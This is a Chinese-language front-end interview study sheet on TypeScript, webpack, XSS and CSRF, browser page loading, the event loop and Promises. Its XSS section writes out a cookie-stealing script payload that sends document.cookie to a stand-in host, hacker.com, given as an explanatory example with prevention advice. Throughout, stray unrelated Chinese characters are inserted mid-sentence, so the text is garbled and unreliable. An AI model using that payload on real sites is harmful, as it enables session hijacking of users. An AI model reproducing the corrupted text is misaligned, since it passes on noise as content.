1. never 類型是什么丁眼？
- 不應(yīng)該出現(xiàn)的類型
2. TypeScript 比起 JavaScript 有什么優(yōu)點(diǎn)睛蛛？
- 提供了類型約束活合，因此更可控将宪、更容易重構(gòu)绘闷、更適合大型項(xiàng)目、更容易維護(hù)
1. 必考：有哪些常見(jiàn) loader 和 plugin较坛，你用過(guò)哪些印蔗？
2. 英語(yǔ)題：loader 和 plugin 的區(qū)別是什么？
3. 如何按需加載代碼丑勤？
4. 如何提高構(gòu)建速度华嘹？
5.轉(zhuǎn)義出的文件過(guò)大怎么辦？
1. 什么是 XSS 攻擊法竞？如何預(yù)防耙厚？
div.innerHTML = userComment
userComment 內(nèi)容是 <script>$.get('http://hacker.com?cookie='+document.cookie)</script>
<script>就被惡意執(zhí)行了，這就是 XSS
- 預(yù)防
- 不要使用 innerHTML岔霸，改成 innerText薛躬，script 就會(huì)被當(dāng)成文本，不執(zhí)行
- 如果你一樣要用 innerHTML呆细，字符過(guò)濾
把 < 替換成 <
把 > 替換成 >
把 & 替換成 &
把 ' 替換成 '
把 ' 替換成 "
2. 什么是 CSRF 攻擊型宝？如何預(yù)防？
- CSRF 攻擊
- 過(guò)程
用戶在 qq.com 登錄
用戶切換到 hacker.com（惡意網(wǎng)站）
hacker.com 發(fā)送一個(gè) qq.com/add_friend 請(qǐng)求，讓當(dāng)前用戶添加 hacker 為好友趴酣。
用戶在不知不覺(jué)中添加 hacker 為好友梨树。
用戶沒(méi)有想發(fā)這個(gè)請(qǐng)求，但是 hacker 偽造了用戶發(fā)請(qǐng)求的假象岖寞。
1. 從輸入U(xiǎn)RL到頁(yè)面展示中間發(fā)生了什么抡四？
- DNS 查詢 DNS 緩存
- 建立 TCP 連接（三次握手）連接復(fù)用
- 發(fā)送 HTTP 請(qǐng)求（請(qǐng)求的四部分）
- 后臺(tái)處理請(qǐng)求
- 監(jiān)聽(tīng) 80 端口
- 路由
- 渲染 HTML 模板
- 生成響應(yīng)
- 發(fā)送 HTTP 響應(yīng)
- 關(guān)閉 TCP 連接（四次揮手）
- 解析 HTML
- 下載 CSS（緩存
- 解析 CSS
- 下載 JS（緩存
- 解析 JS
- 下載圖片
- 解析圖片
- 渲染 DOM 樹(shù)
- 渲染樣式樹(shù)
- 執(zhí)行 JS
1、 用戶輸入
當(dāng)用戶輸入關(guān)鍵字并鍵入回車之后慎璧，這意味著當(dāng)前頁(yè)面即將要被替換成新的頁(yè)面床嫌，不過(guò)在這個(gè)流程繼續(xù)之前，瀏覽器還給了當(dāng)前頁(yè)面一次執(zhí)行 beforeunload 事件的機(jī)會(huì)胸私，beforeunload 事件允許頁(yè)面在退出之前執(zhí)行一些數(shù)據(jù)清理操作，還可以詢問(wèn)用戶是否要離開(kāi)當(dāng)前頁(yè)面鳖谈。
2岁疼、 url請(qǐng)求過(guò)程
首先，網(wǎng)絡(luò)進(jìn)程會(huì)查找本地緩存是否緩存了該資源缆娃。
如果有緩存資源捷绒，那么直接返回資源給瀏覽器進(jìn)程；如果在緩存中沒(méi)有查找到資源贯要，那么直接進(jìn)入網(wǎng)絡(luò)請(qǐng)求流程暖侨。這請(qǐng)求前的第一步是要進(jìn)行 DNS 解析，以獲取請(qǐng)求域名的服務(wù)器 IP 地址崇渗。如果請(qǐng)求協(xié)議是 HTTPS字逗，那么還需要建立 TLS 連接。
- 其中宅广，DNS也有幾步緩存：瀏覽器緩存葫掉，hosts文件，
- 如果本地域名解析服務(wù)器也沒(méi)有該域名的記錄跟狱，則開(kāi)始遞歸+迭代解析
- TCP三次握手俭厚，HTTP。TLS握手驶臊，HTTPS挪挤。
接下來(lái)就是利用 IP 地址和服務(wù)器建立 TCP 連接。連接建立之后关翎，瀏覽器端會(huì)構(gòu)建請(qǐng)求行扛门、請(qǐng)求頭等信息，并把和該域名相關(guān)的 Cookie 等數(shù)據(jù)附加到請(qǐng)求頭中笤休，然后向服務(wù)器發(fā)送構(gòu)建的請(qǐng)求信息尖飞。
數(shù)據(jù)在進(jìn)入服務(wù)端之前，可能還會(huì)先經(jīng)過(guò)負(fù)責(zé)負(fù)載均衡的服務(wù)器，它的作用就是將請(qǐng)求合理的分發(fā)到多臺(tái)服務(wù)器上政基，這時(shí)假設(shè)服務(wù)端會(huì)響應(yīng)一個(gè) HTML 文件贞铣。
首先瀏覽器會(huì)判斷狀態(tài)碼是什么，如果是 200 那就繼續(xù)解析沮明，如果 400 或 500 的話就會(huì)報(bào)錯(cuò)辕坝，如果 300 的話會(huì)進(jìn)行重定向，這里會(huì)有個(gè)重定向計(jì)數(shù)器荐健，避免過(guò)多次的重定向酱畅，超過(guò)次數(shù)也會(huì)報(bào)錯(cuò)。
瀏覽器開(kāi)始解析文件江场，如果是 gzip 格式的話會(huì)先解壓一下纺酸，然后通過(guò)文件的編碼格式知道該如何去解碼文件。
3址否、 準(zhǔn)備渲染進(jìn)程
默認(rèn)情況下餐蔬，Chrome 會(huì)為每個(gè)頁(yè)面分配一個(gè)渲染進(jìn)程，也就是說(shuō)佑附，每打開(kāi)一個(gè)新頁(yè)面就會(huì)配套創(chuàng)建一個(gè)新的渲染進(jìn)程樊诺。
4、 渲染階段
文件解碼成功后會(huì)正式開(kāi)始渲染流程音同，先會(huì)根據(jù) HTML 構(gòu)建 DOM 樹(shù)词爬，有CSS的話會(huì)去構(gòu)建 CSSOM 樹(shù)。如果遇到 script 標(biāo)簽的話权均，會(huì)判斷是否存在 async 或者 defer 顿膨，前者會(huì)并行進(jìn)行下載并執(zhí)行 JS，后者會(huì)先下載文件螺句，然后等待 HTML 解析完成后順序執(zhí)行虽惭。
如果以上都沒(méi)有，就會(huì)阻塞住渲染流程直到 JS 執(zhí)行完畢蛇尚。
CSSOM 樹(shù)和 DOM 樹(shù)構(gòu)建完成后會(huì)開(kāi)始生成 Render 樹(shù)芽唇，這一步就是確定頁(yè)面元素的布局、樣式等等諸多方面的東西
在生成 Render 樹(shù)的過(guò)程中取劫，瀏覽器就開(kāi)始調(diào)用GPU 繪制匆笤，合成圖層，將內(nèi)容顯示在屏幕上了谱邪。
2. Eventloop炮捧？
JavaScript的事件分兩種，宏任務(wù)(macro-task)和微任務(wù)(micro-task)
- 宏任務(wù)：包括整體代碼script惦银，setTimeout咆课，setInterval
- 微任務(wù)：Promise.then(非new Promise)末誓，process.nextTick(node中)
- 事件的執(zhí)行順序，是先執(zhí)行宏任務(wù)书蚪，然后執(zhí)行微任務(wù)喇澡，這個(gè)是基礎(chǔ)，任務(wù)可以有同步任務(wù)和異步任務(wù)殊校，同步的進(jìn)入主線程晴玖，異步的進(jìn)入Event Table并注冊(cè)函數(shù)，異步事件完成后为流，會(huì)將回調(diào)函數(shù)放入Event Queue中(宏任務(wù)和微任務(wù)是不同的Event Queue)呕屎，同步任務(wù)執(zhí)行完成后，會(huì)從Event Queue中讀取事件放入主線程執(zhí)行敬察，回調(diào)函數(shù)中可能還會(huì)包含不同的任務(wù)秀睛，因此會(huì)循環(huán)執(zhí)行上述操作。
Promise 的含義
Promise是一個(gè)異步編程的解決方案莲祸，簡(jiǎn)單來(lái)講琅催，Promise類似一個(gè)盒子，里面保存著在未來(lái)某個(gè)時(shí)間點(diǎn)才會(huì)結(jié)束的事件虫给。
三種狀態(tài)：
pending：進(jìn)行中
fulfilled ：已經(jīng)成功
rejected ：已經(jīng)失敗
狀態(tài)改變，只能從 pending 變成 fulfilled 或者 rejected侠碧，狀態(tài)不可逆抹估。-
async實(shí)現(xiàn)和常用方法
- async 函數(shù)的實(shí)現(xiàn)原理，就是將 Generator 函數(shù)和自動(dòng)執(zhí)行器弄兜，包裝在一個(gè)函數(shù)里药蜻。
- Generator 函數(shù)是協(xié)程在 ES6 的實(shí)現(xiàn)，最大特點(diǎn)就是可以交出函數(shù)的執(zhí)行權(quán)（即暫停執(zhí)行）替饿。
- 協(xié)程是一種用戶態(tài)的輕量級(jí)線程语泽，協(xié)程的調(diào)度完全由用戶控制。協(xié)程擁有自己的寄存器上下文和棧视卢。協(xié)程調(diào)度切換時(shí)踱卵，將寄存器上下文和棧保存到其他地方，在切回來(lái)的時(shí)候据过，恢復(fù)先前保存的寄存器上下文和棧惋砂，直接操作棧則基本沒(méi)有內(nèi)核切換的開(kāi)銷，可以不加鎖的訪問(wèn)全局變量绳锅，所以上下文的切換非澄鞫快。
